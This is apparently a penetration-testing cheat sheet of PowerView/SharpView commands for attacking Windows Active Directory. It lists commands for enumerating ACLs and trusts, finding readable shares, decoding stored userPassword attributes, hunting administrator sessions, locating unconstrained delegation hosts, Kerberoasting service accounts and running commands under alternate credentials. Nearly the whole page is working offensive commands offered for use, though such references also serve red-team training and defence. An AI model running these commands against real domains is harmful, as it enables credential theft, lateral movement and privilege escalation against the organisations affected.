PowerView/SharpView

PowerView/SharpView

The final PowerView version published in the now-archived PowerSploit project is available in its development branch: PowerView.ps1.[1]

SharpView is a .NET port of PowerView. The examples below are a practical command reference; confirm parameters against the version you are running because PowerView aliases and behavior vary between releases.[1][2]

Group Policy Object - GPOs

If an attacker has high privileges over a GPO, they may be able to escalate privileges by granting permissions to a user, adding a local administrator to a host, or creating an immediate scheduled task.

Learn how to exploit permissions over GPOs and ACLs in:

Acl Persistence Abuse

ACL

#Get ACLs of an object (permissions of other objects over the indicated one)
Get-ObjectAcl -SamAccountName <username> -ResolveGUIDs

#Other way to get ACLs of an object
$sid = Convert-NameToSid <username/group>
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}

#Get permissions of a file
Get-PathAcl -Path "\\dc.mydomain.local\sysvol"

#Find interesting ACEs (modification rights held by unexpected objects with RID > 1000)
Find-InterestingDomainAcl -ResolveGUIDs

#Check whether any interesting permission is related to a username/group
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"}

#Get special rights over All administrators in domain
Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights

Shared files and folders

Get-NetFileServer #Search file servers, where many users may have active sessions
Find-DomainShare -CheckShareAccess #Search readable shares
Find-InterestingDomainShareFile #Find interesting files, can use filters

Domain Trust

Get-NetDomainTrust #Get all domain trusts (parent, children and external)
Get-DomainTrust #Same
Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found
Get-DomainTrustMapping #Enumerate also all the trusts

Get-ForestDomain # Get basic forest info
Get-ForestGlobalCatalog #Get info of current forest (no external)
Get-ForestGlobalCatalog -Forest external.domain #Get info about the external forest (if possible)
Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"

Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between a child and a root is just an external trust)

Get-DomainForeignUser #Get users with privileges in other domains inside the forest
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest

Low-hanging fruit

#Check if any user passwords are set
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl

#Asks the DC for all computers and checks each one for local admin access (very noisy). RPC and SMB ports must be open.
Find-LocalAdminAccess

#(This time you need to give the list of computers in the domain) Do the same as before but trying to execute a WMI action in each computer (admin privs are needed to do so). Useful if RCP and SMB ports are closed.
.\Find-WMILocalAdminAccess.ps1 -ComputerFile .\computers.txt

#Enumerate machines where a particular user/group identity has local admin rights
Get-DomainGPOUserLocalGroupMapping -Identity <User/Group>

# Enumerates the members of specified local group (default administrators)
# for all the targeted machines on the current (or specified) domain.
Invoke-EnumerateLocalAdmin
Find-DomainLocalGroupMember

#Search unconstrained delegation computers and show users
Find-DomainUserLocation -ComputerUnconstrained -ShowAll

#Admin users that allow delegation, logged into servers that allow unconstrained delegation
Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation

#Get members from Domain Admins (default) and a list of computers
# and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host.
# If -CheckAccess is used, it also checks for local administrator access on the hosts.
## By default users inside Domain Admins are searched
Find-DomainUserLocation [-CheckAccess] | select UserName, SessionFromName
Invoke-UserHunter [-CheckAccess]

#Search "RDPUsers" users
Invoke-UserHunter -GroupName "RDPUsers"

#It will only search for active users inside high traffic servers (DC, File Servers and Distributed File servers)
Invoke-UserHunter -Stealth

Deleted objects

#This is not a PowerView command; it comes from Microsoft's Active Directory PowerShell module
#You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

Miscellaneous

SID to Name

"S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName

Kerberoast

Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users

Use different credentials (argument)

# Use alternate credentials with any supported function
$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
